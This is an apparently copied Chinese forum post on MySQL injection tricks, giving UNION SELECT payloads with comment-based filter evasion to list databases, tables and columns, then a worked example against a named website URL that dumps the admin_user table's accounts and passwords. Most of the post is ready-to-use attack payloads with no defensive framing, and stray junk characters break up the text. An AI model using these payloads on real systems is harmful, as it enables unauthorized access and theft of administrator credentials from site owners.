mysql注入技巧

admin

查库

) J+ ~1 y" G3 x/ H: r* gid=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*

9 C! k8 x4 f2 A. _查表

id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
$ S+ Z# k' P  Q6 ^& ?2 E
3 J! I% o# U5 v$ j查段
! b  O) H  s: U' _# b
id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
0 I3 c) }9 w5 F: b( c' D, B8 O

) S" J1 @* c/ emysql5高级注入方法暴表
% O6 d1 K1 |/ {3 B6 \  U- s
% o* M6 m3 b/ G, k  c7 y例子如下:
2 h0 L+ _) S' _9 a( T  z
1.爆表
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
这样爆到第4个时出现了admin_user表。

2.暴字段
% _. n  J6 g; V( D5 Z8 ihttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*

8 g3 J1 s+ I0 R
, b$ V6 f2 L& E- l$ L  b! v7 v3.爆密码
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*